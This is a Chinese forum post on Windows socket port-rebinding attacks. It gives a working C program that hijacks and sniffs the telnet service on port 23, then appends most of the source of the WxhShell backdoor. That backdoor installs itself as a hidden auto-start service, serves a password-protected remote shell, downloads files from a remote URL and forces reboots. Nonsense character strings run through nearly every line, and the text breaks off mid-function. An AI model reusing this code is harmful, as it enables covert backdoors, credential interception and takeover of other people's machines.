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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: lNHNL a>W  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9^oo-,Su_  
Z%Vr+)!4  
  saddr.sin_family = AF_INET; 9QX4R<"wUg  
{n\6BTs  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Q5g,7ac8L  
!@( M_Z'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); V R"8Di&)  
AQ-mE9>P  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1sD~7KPg?  
"s% 686Vz  
  这意味着什么?意味着可以进行如下的攻击: r9?o$=T  
:H{Bb{B%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~+<<bzY  
g+.0c=G(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) T\jAk+$Jo  
mIRAS"Q!m  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 C}9Kx }q  
.U<F6I:<md  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  C]/&vh7ta  
FK6K6wU52m  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Z^<Sj5}6  
3#9uEDdE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 RXM}hqeG  
am2a#4`  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 A$Wx#r7)  
0E yAMu  
  #include 691G15  
  #include ]s _@n!  
  #include X\kjAMuW/*  
  #include    NK~PcdGl  
  DWORD WINAPI ClientThread(LPVOID lpParam);   k9 l^6#<?  
  int main()  *=TYVM9  
  { xLZ bU4  
  WORD wVersionRequested; ZlrhC= 0  
  DWORD ret; s*f1x N<  
  WSADATA wsaData; qT$ )Rb&  
  BOOL val; uNy!< u  
  SOCKADDR_IN saddr; n_J5zQJ  
  SOCKADDR_IN scaddr; ?;_H{/)m  
  int err; <z',]hy  
  SOCKET s; +ZX .1[O  
  SOCKET sc; Y3<b~!f  
  int caddsize; X CzXS.  
  HANDLE mt; +|9f%f6vp  
  DWORD tid;   AO $Wy@  
  wVersionRequested = MAKEWORD( 2, 2 ); hl**zF  
  err = WSAStartup( wVersionRequested, &wsaData ); 5\&]J7(  
  if ( err != 0 ) { } #qQ2NCH  
  printf("error!WSAStartup failed!\n"); $.9 +{mz  
  return -1; 4j^bpfb,  
  } i$["aP~G  
  saddr.sin_family = AF_INET; x df?nt  
   {gw [%[ZM  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 T ~h.=5  
t?HF-zQ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); } YRO'Q{  
  saddr.sin_port = htons(23); hox< vr4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1) 'Iu`k/  
  { [EER4@_  
  printf("error!socket failed!\n"); <W2ZoqaV  
  return -1; xdqK.Z%  
  } 7C?E z%a@  
  val = TRUE; U:\p$hL9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 BtzYA"  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Sj@15 W  
  { jccOsG9;_  
  printf("error!setsockopt failed!\n"); )%t7\1)B3  
  return -1; :WO{xg  
  } &1l~&,,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :mP9^Do2;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 AJdp6@O +  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Mb1wYh  
L?Cjo4xS  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) l/ QhD?)9  
  { &y\igX1  
  ret=GetLastError(); (Igu:=  
  printf("error!bind failed!\n"); L0xsazX:x  
  return -1; 9OfU7_m  
  } K'V 2FTJI  
  listen(s,2); cl_T F[n?  
  while(1) 7VY8CcL  
  { x%pRDytA  
  caddsize = sizeof(scaddr); v1h.pbz`w  
  //接受连接请求 DL1 +c`d  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); l|7O)  
  if(sc!=INVALID_SOCKET) Wt:~S/l  
  { +<{m45  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %i595Ij-]  
  if(mt==NULL) a5 bPEJ=I  
  { Cdmy.gx^  
  printf("Thread Creat Failed!\n"); (2tH"I  
  break; },s_nJR:8  
  } xj7vI&u.  
  } n$xszuNJ`  
  CloseHandle(mt); MO TE/JG  
  } <%&_#<C)  
  closesocket(s); hX3@f;[B2  
  WSACleanup(); R(`]n!V2  
  return 0; gs>A=A(VYf  
  }   gvlFumg2  
  DWORD WINAPI ClientThread(LPVOID lpParam) #2N_/J(U  
  { X|'2R^V.  
  SOCKET ss = (SOCKET)lpParam; 4kh8W~i;/  
  SOCKET sc; =+\$e1Mb*  
  unsigned char buf[4096]; O+b6lg)q  
  SOCKADDR_IN saddr; r>O|L%xpv  
  long num; \OY}GRKt  
  DWORD val; :X Lp  
  DWORD ret; 2lo:a{}j  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %I0}4$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &Sa~/!M  
  saddr.sin_family = AF_INET; 7D9]R#-K  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1yS&~ y?a  
  saddr.sin_port = htons(23); QAUykS8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~ aA;<#  
  { t#~XLCE  
  printf("error!socket failed!\n"); _*n)mlLln  
  return -1; e=L*&X  
  } \%4|t,en  
  val = 100; h$/JGm5uDb  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D J_DonO]  
  { "k, K~@}  
  ret = GetLastError(); A%n?}  
  return -1; I)lC{v  
  } s??czM2O  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yV2e5/i  
  { wASX\D }  
  ret = GetLastError(); 5*+I M*c  
  return -1; gyFr"9';c  
  } G B&:G V  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) aj v}JV&:  
  { ?BsH{Q RYQ  
  printf("error!socket connect failed!\n"); .1{l[[= W  
  closesocket(sc); R;'?;I  
  closesocket(ss); S<pk c8  
  return -1; 2vvh|?M  
  } z7k$0&  
  while(1) P5P< "  
  { t R ;{.  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 R\y'_S=#a  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 O5OXw]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [xf$VkjuF  
  num = recv(ss,buf,4096,0); IM]h*YV'  
  if(num>0) ( OXY^iq  
  send(sc,buf,num,0);  p[Hr39o  
  else if(num==0) ~ k<SbFp  
  break; 6klD22b2$  
  num = recv(sc,buf,4096,0); AK;^9b-}q:  
  if(num>0) y]^#$dK(z  
  send(ss,buf,num,0); &?r*p0MQC  
  else if(num==0) p&O8qAaO  
  break; L#!$hq9{_  
  } ~j]dct7  
  closesocket(ss); *m&%vj.Kc  
  closesocket(sc); > Y ] _K  
  return 0 ; `)2[ST  
  } oLw|uU-|  
mw"}8y  
}<&d]N  
========================================================== Khap9a_q-  
dQK`sLChv  
下边附上一个代码,,WXhSHELL 70=(. [^+  
M}KZG'7  
========================================================== @() {/cF  
KC]tY9 FK  
#include "stdafx.h" H0+:XF\M  
q0g1E Jar  
#include <stdio.h> eo ?Oir)  
#include <string.h> gsfhH0  
#include <windows.h> Z/c_kf[  
#include <winsock2.h> -%i#j>  
#include <winsvc.h> m_$JWv\|\  
#include <urlmon.h> K( z[ }  
y+RRg[6|  
#pragma comment (lib, "Ws2_32.lib") 69iM0X!'u  
#pragma comment (lib, "urlmon.lib") xl9(ze  
:G0+;[?N  
#define MAX_USER   100 // 最大客户端连接数 fyrd `R  
#define BUF_SOCK   200 // sock buffer >j:|3atb  
#define KEY_BUFF   255 // 输入 buffer cd+^=esSO  
0-GKu d  
#define REBOOT     0   // 重启 -!~vA+jw1  
#define SHUTDOWN   1   // 关机 kF?S 2(vH  
3>M.]w6{  
#define DEF_PORT   5000 // 监听端口 SBz/VQ  
>>j+LRf*  
#define REG_LEN     16   // 注册表键长度 i pwW%"6  
#define SVC_LEN     80   // NT服务名长度 qw2)v*Fn  
p+)C$2YK  
// 从dll定义API #@E(<Pu4`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4]EvT=Ro  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >Fp&8p`am  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O{nC^`X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G:DSWW}  
bOe<\Y$  
// wxhshell配置信息 :Fnzi0b  
struct WSCFG { BvQUn@ XE  
  int ws_port;         // 监听端口 *w|iu^G  
  char ws_passstr[REG_LEN]; // 口令 <"A#Eok|4  
  int ws_autoins;       // 安装标记, 1=yes 0=no wx./"m.M  
  char ws_regname[REG_LEN]; // 注册表键名 #w;;D7{@m  
  char ws_svcname[REG_LEN]; // 服务名 ?Nu#]u-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 NZfd_? 3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yi|:}K$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s&0*'^'O[S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no AoIc9E lEX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u]0!|Jd0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zu<>"5}]  
,O2q+'&  
}; @ct#s:t  
#r(a~  
// default Wxhshell configuration c8q G\\t[  
struct WSCFG wscfg={DEF_PORT, F'XlJ M  
    "xuhuanlingzhe", "h$D7 mL  
    1, xY+A]Up|w  
    "Wxhshell", a}w&dE$!-  
    "Wxhshell", pJn>oGeJ&  
            "WxhShell Service", @BXaA0F4  
    "Wrsky Windows CmdShell Service", ]o `4Z"  
    "Please Input Your Password: ", ?`"<DH~:0B  
  1, m EFWo  
  "http://www.wrsky.com/wxhshell.exe", [?|5 oaK  
  "Wxhshell.exe" >pnz_MQ   
    }; =/m}rcDN  
 XtR`?  
// 消息定义模块 tpE3|5dZF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g&P9UW>qS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TtZrttCE6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^>eFm8`N  
char *msg_ws_ext="\n\rExit."; Nl=+.d6 Qo  
char *msg_ws_end="\n\rQuit."; jWhD5k@v  
char *msg_ws_boot="\n\rReboot..."; yG4MUf6  
char *msg_ws_poff="\n\rShutdown..."; sE}sE=\  
char *msg_ws_down="\n\rSave to "; ^&HI +M  
h ;jsH!  
char *msg_ws_err="\n\rErr!"; I'P!,Y/>  
char *msg_ws_ok="\n\rOK!"; $:P[v+Uy  
u>1v~3,r#  
char ExeFile[MAX_PATH]; (a,6a  
int nUser = 0; 0 oQ/J:  
HANDLE handles[MAX_USER]; f}A^]6MO:  
int OsIsNt; )2/b$i,JKk  
%$^$'6\77  
SERVICE_STATUS       serviceStatus; 95VqaR,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  r^e-.,+  
N4tc V\O  
// 函数声明 pc^E'h:  
int Install(void); 7@3M]5:3g  
int Uninstall(void); !SN6 ?Xy  
int DownloadFile(char *sURL, SOCKET wsh); r!>es;R8  
int Boot(int flag); lf}?!*V`+  
void HideProc(void); \#HL`R"  
int GetOsVer(void); /oBK&r[(  
int Wxhshell(SOCKET wsl); D=<t;+|  
void TalkWithClient(void *cs); - f+CyhR"*  
int CmdShell(SOCKET sock); k#BU7Exij  
int StartFromService(void); (]o FB$  
int StartWxhshell(LPSTR lpCmdLine); 3$;J0{&[i  
N c9<X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ogn,1nm%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); oK%K+h  
#xDDh`  
// 数据结构和表定义 +38Lojb}   
SERVICE_TABLE_ENTRY DispatchTable[] = Sv~PXi^`H  
{ 'w :tq  
{wscfg.ws_svcname, NTServiceMain}, hl=oiUf[s  
{NULL, NULL} DM+sjn  
}; aIY$5^x  
9[B<rz  
// 自我安装 E\W;:p,{A  
int Install(void) VNr!|bp5  
{ |P^ikx6f5  
  char svExeFile[MAX_PATH]; zaQ$ Ht  
  HKEY key; &IxxDvP3k  
  strcpy(svExeFile,ExeFile); G;87in ,}  
2nVuz9h  
// 如果是win9x系统,修改注册表设为自启动 @fUX)zm>  
if(!OsIsNt) { Ey 0>L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W5 M ]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XT\Td}>  
  RegCloseKey(key); `1}HWLBX.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { # r2$ZCo3o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m/SJ4op$  
  RegCloseKey(key); 8.6no  
  return 0; 9N`+ O  
    } Z1 E` I89<  
  } Q3'(f9 x  
} KBp!zSl  
else { Z:W')Nd(  
u66TrYStG  
// 如果是NT以上系统,安装为系统服务 56 /.*qa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); N^)<)?  
if (schSCManager!=0) 9CgXc5  
{ r! cNc  
  SC_HANDLE schService = CreateService sASAsGk<  
  (  dfYYyE  
  schSCManager, AycA :<  
  wscfg.ws_svcname, Y0R\u\b  
  wscfg.ws_svcdisp, v)X[gt tf  
  SERVICE_ALL_ACCESS, +-xSuR,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1_p[*h  
  SERVICE_AUTO_START, h Kp,4D>2_  
  SERVICE_ERROR_NORMAL, y$+!%y*  
  svExeFile, n#/U@qVgc  
  NULL, /1s9;'I  
  NULL, 3Y.d&Nz  
  NULL, 3 LZL!^ 5N  
  NULL, [M,27  
  NULL )eIz{Mdp=  
  ); eWqVh[  
  if (schService!=0) 0jl:Yzo&\  
  { RBMMXJj  
  CloseServiceHandle(schService); A,-[/Z K/  
  CloseServiceHandle(schSCManager); %FXIlH5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2 `q^Q  
  strcat(svExeFile,wscfg.ws_svcname); 4okHAv8;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Lrm tPnL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dT*f-W  
  RegCloseKey(key); _ d(Ks9  
  return 0; v ](G?L9b  
    } |TNiKy  
  } `"^@[1  
  CloseServiceHandle(schSCManager); =PeW$q+  
} x0TnS #  
} *IjdN,wox  
VdjU2d  
return 1; ;'Z,[a  
} Q9Xm b2LN  
 P %U9S  
// 自我卸载 6w:g77SH)%  
int Uninstall(void) 4q@9  
{ Z IGbwL  
  HKEY key; pU'`9f Li_  
uj+.L6S  
if(!OsIsNt) { wUZ(Tin  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w2M IY_N?  
  RegDeleteValue(key,wscfg.ws_regname);  \!' {-J  
  RegCloseKey(key); ~]i]kU   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P"h,[{Y*>  
  RegDeleteValue(key,wscfg.ws_regname); 3>:zo:;  
  RegCloseKey(key); }SJLBy0  
  return 0; sbq44L)  
  } qAuUe=w%p  
} s\3Z?zm8  
} %yS`C"ZQ)  
else { [h2p8i 'o  
o#KPrW`XJ/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8m1 3M5r  
if (schSCManager!=0) l yLK$B?/  
{ )=SYJ-ta<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }X W#?l  
  if (schService!=0) @zVBn~=i  
  { "8C(_z+]K`  
  if(DeleteService(schService)!=0) { k*UR# z(I  
  CloseServiceHandle(schService); :BrnRW64  
  CloseServiceHandle(schSCManager); %l]rQjV-  
  return 0; `)gkkZ$)j  
  } W0r5D9k  
  CloseServiceHandle(schService); n<"a+TTU  
  } ! A ydhe  
  CloseServiceHandle(schSCManager); 5e~{7{  
} B2Awdw3=g  
} S|u1QGB  
KzFs#rhpn  
return 1; V }r_   
} xVwi }jtG|  
cvLcre% >A  
// 从指定url下载文件 4)>\rqF+v  
int DownloadFile(char *sURL, SOCKET wsh) *M**h-p2'  
{ QeOt; {_|  
  HRESULT hr; S92 !jp/  
char seps[]= "/"; MM58w3Mz  
char *token; #VMBn}   
char *file; N%M>,wT  
char myURL[MAX_PATH]; EF7|%N  
char myFILE[MAX_PATH]; fAA@ziKg  
ss M9t  
strcpy(myURL,sURL); d9e H}#OY  
  token=strtok(myURL,seps); JwG5#CFu^  
  while(token!=NULL) e^l+ #^fR  
  { N4GIb 6  
    file=token; uzn))/"  
  token=strtok(NULL,seps); JXa%TpI: E  
  } N6 }i>";_;  
kI1{>vYD  
GetCurrentDirectory(MAX_PATH,myFILE); vG Lb2Q  
strcat(myFILE, "\\"); #.t$A9'  
strcat(myFILE, file); u3?Pp[tM<  
  send(wsh,myFILE,strlen(myFILE),0); "=5vgg3  
send(wsh,"...",3,0); <xh'@592  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v.8S V]  
  if(hr==S_OK) ]\b1~ki!F  
return 0; vEee/+1?  
else A"T. nqB^y  
return 1; [ QL<&:s&  
3E2.v5*  
} fB ,!|u  
Tk@g9\6O9  
// 系统电源模块 {CyPcD'$s  
int Boot(int flag) C?<XtIoB  
{ }JTgj  
  HANDLE hToken; }mS0{rxD4  
  TOKEN_PRIVILEGES tkp; 1X:whS5S  
]e3}9.  
  if(OsIsNt) { uC8T!z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0Ukl#6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (j8,n<o  
    tkp.PrivilegeCount = 1; 0dX=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -"^WDs  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OQb9ijLeK  
if(flag==REBOOT) { ;cHI3V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fyoB]{$p8  
  return 0; ?~y(--.t;T  
} Cot\i\]jv  
else { g1!L. On  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9p'J(`  
  return 0; ny? m&;^r:  
} IF?B`TmZ  
  } 3*23+}^G  
  else { 7~9f rW<K  
if(flag==REBOOT) { 5$G??="K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Xq)%w#l5?  
  return 0; '!L1z45  
} ob5nk ^y  
else { I!0 +RP(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GpQF * x  
  return 0; EYD{8Fw-  
} fvfVBk#  
} o 0 #]EMr  
U$JIF/MO_  
return 1; V4i%|vV  
} =Bqa <Js  
I\6<)2j/L  
// win9x进程隐藏模块 `Q^Sm`R  
void HideProc(void) S7>gNE;%]u  
{ iBW6<2@oZF  
'9Odw@tp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /{)cI^9  
  if ( hKernel != NULL ) L;t~rW!1  
  { 6zZR:ej  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H 1X]tw.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #]/T9:  
    FreeLibrary(hKernel); q _|5,_a  
  } g*imswj7  
xVX||rrh  
return; :%oj'm44!  
} (SVr>|Db  
'n#S6.Y:  
// 获取操作系统版本 0lh6b3tdP  
int GetOsVer(void) G")EE#W$}  
{ ^TuEp$Z=  
  OSVERSIONINFO winfo; (uc)^lfX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F7 6h  
  GetVersionEx(&winfo); fR;_6?p*B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9yAu<a  
  return 1; GlD'?Mk1  
  else 0! %}  
  return 0; ?Gw89r  
} ?O Nw*"9  
Dx)XC?'xO  
// 客户端句柄模块 5FKd{V'  
int Wxhshell(SOCKET wsl) ZU'^%)6~o~  
{ eakIK+-21y  
  SOCKET wsh; ,X6j$YLWp  
  struct sockaddr_in client; bj{f[nZ d  
  DWORD myID; ;CBdp-BUj  
`I{Q,HQ7  
  while(nUser<MAX_USER) ^C| 9K>M  
{ _oVA0@#n  
  int nSize=sizeof(client); ?{")Wt  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =@  
  if(wsh==INVALID_SOCKET) return 1; T^G<)IX`c  
<ft9B05*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [&V%rhi  
if(handles[nUser]==0) S6X<3L`FfH  
  closesocket(wsh); Rx-i.EtZ  
else zD-8#H35X"  
  nUser++; PaJwM%s)L  
  } b<7 qmg3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3<V!y&a  
#_\~Vrf(#  
  return 0; A@'W $p?5r  
} E=trJge  
6LQO>k  
// 关闭 socket ZfikNQU9r  
void CloseIt(SOCKET wsh) /MtacR  
{ ^SCWT\E  
closesocket(wsh); XePBA J  
nUser--; Jj:4@p:  
ExitThread(0); +,>bpp1  
} D<6k AGE  
#::vMnT  
// 客户端请求句柄 hZJqo +s  
void TalkWithClient(void *cs) "r+<=JU>OV  
{ 1X.1t^HH:  
J)NpG9iN  
  SOCKET wsh=(SOCKET)cs; HArYL} l  
  char pwd[SVC_LEN]; o-= lHtR  
  char cmd[KEY_BUFF]; WQL`;uIX  
char chr[1]; h]P$L>  
int i,j; mX_`rvYII  
jXZNr  
  while (nUser < MAX_USER) { --sb ;QG  
%L.+r!.  
if(wscfg.ws_passstr) { SiT &p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &r%3)Z8Et  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UC@"<$'C  
  //ZeroMemory(pwd,KEY_BUFF); 8ipLq`)  
      i=0; v%[mt` I  
  while(i<SVC_LEN) { Q2=~  
D IN PAyY  
  // 设置超时 [K- s\  
  fd_set FdRead; 6'zy"UkH  
  struct timeval TimeOut; 4[q * 7m  
  FD_ZERO(&FdRead); JK`P mp>  
  FD_SET(wsh,&FdRead); 5yID%  
  TimeOut.tv_sec=8; {{,%p#/b  
  TimeOut.tv_usec=0; )' #(1 ,1k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A?zW!'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dz 2d`=`3  
FoQk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lR!$+atW  
  pwd=chr[0]; *Rd&4XG  
  if(chr[0]==0xd || chr[0]==0xa) { ,L G&sa"  
  pwd=0; wQc  w#  
  break; y[rLk  
  } 9A!qg<  
  i++; 3>6o=7/PU  
    } 'CX KphlWs  
ewg WzB9c  
  // 如果是非法用户,关闭 socket `fyAV@X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ehq6.+l  
} }o4Cd$,8  
M<Mr (z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !:5n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]u';zJ.  
]'q<wPi  
while(1) { YBP{4Rl  
pxj"<q`nw8  
  ZeroMemory(cmd,KEY_BUFF); e)kf;Hkf  
/slML~$t<  
      // 自动支持客户端 telnet标准   9@06]EI_  
  j=0; ,R+u%bmn#  
  while(j<KEY_BUFF) { ($kwlj~c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JSU\Hh!  
  cmd[j]=chr[0]; Y$^\D' .k  
  if(chr[0]==0xa || chr[0]==0xd) { 2OTpGl  
  cmd[j]=0; Ipe;%as#  
  break; 85mQHZ8aR  
  } j^.P=;  
  j++; %`'VXR?`h=  
    } 5hAg*zJb5o  
PR+!CFi&  
  // 下载文件 )-@EUN0E>5  
  if(strstr(cmd,"http://")) { *)<tyIHd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5z _)  
  if(DownloadFile(cmd,wsh)) +,lD_{}_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LHb{9x  
  else QS}=oOR@k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D }\`5L<  
  } Ar==@777j  
  else { xph60T  
)zN )7  
    switch(cmd[0]) { $gNCS:VG*  
  _$0Ix6y,  
  // 帮助 t>xV]W<  
  case '?': { iYf4 /1IG,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FyEl@ }W  
    break; C6n4OU  
  } SxDE3A-:  
  // 安装 ;Yj}9[p;T  
  case 'i': { TI332,eL  
    if(Install()) _MU'he^W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hk I$ow(  
    else |j,Mof  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RC 48e._t  
    break; ~&x%;cnv_  
    } P(`IY +  
  // 卸载 JI&>w-~D  
  case 'r': { ezn>3?S  
    if(Uninstall()) Ut+mm\7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i]nE86.;  
    else D1f=f88/}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -n9e-0  
    break; Hpt)(Nz:  
    } AS7!FD6b  
  // 显示 wxhshell 所在路径 eZcm3=WV|  
  case 'p': { *s^5 BLI9  
    char svExeFile[MAX_PATH]; ZZTV >:  
    strcpy(svExeFile,"\n\r"); Lh}he:k+  
      strcat(svExeFile,ExeFile); wb}tN7~Y;  
        send(wsh,svExeFile,strlen(svExeFile),0); ? _W*7<  
    break; z+b~#f3  
    } 181P;R=}<  
  // 重启 t]x HM  
  case 'b': { EVf'1^f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4M _83WL  
    if(Boot(REBOOT)) $3L7R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3X:F9x>y  
    else { =N=,;<6%A  
    closesocket(wsh); G<-.{Gx)  
    ExitThread(0); z,9qAts?mh  
    } &[YG\8sxWa  
    break; gvC2\k{  
    } -4Xr5j%o  
  // 关机  lcr=^  
  case 'd': { )oj`K,#  
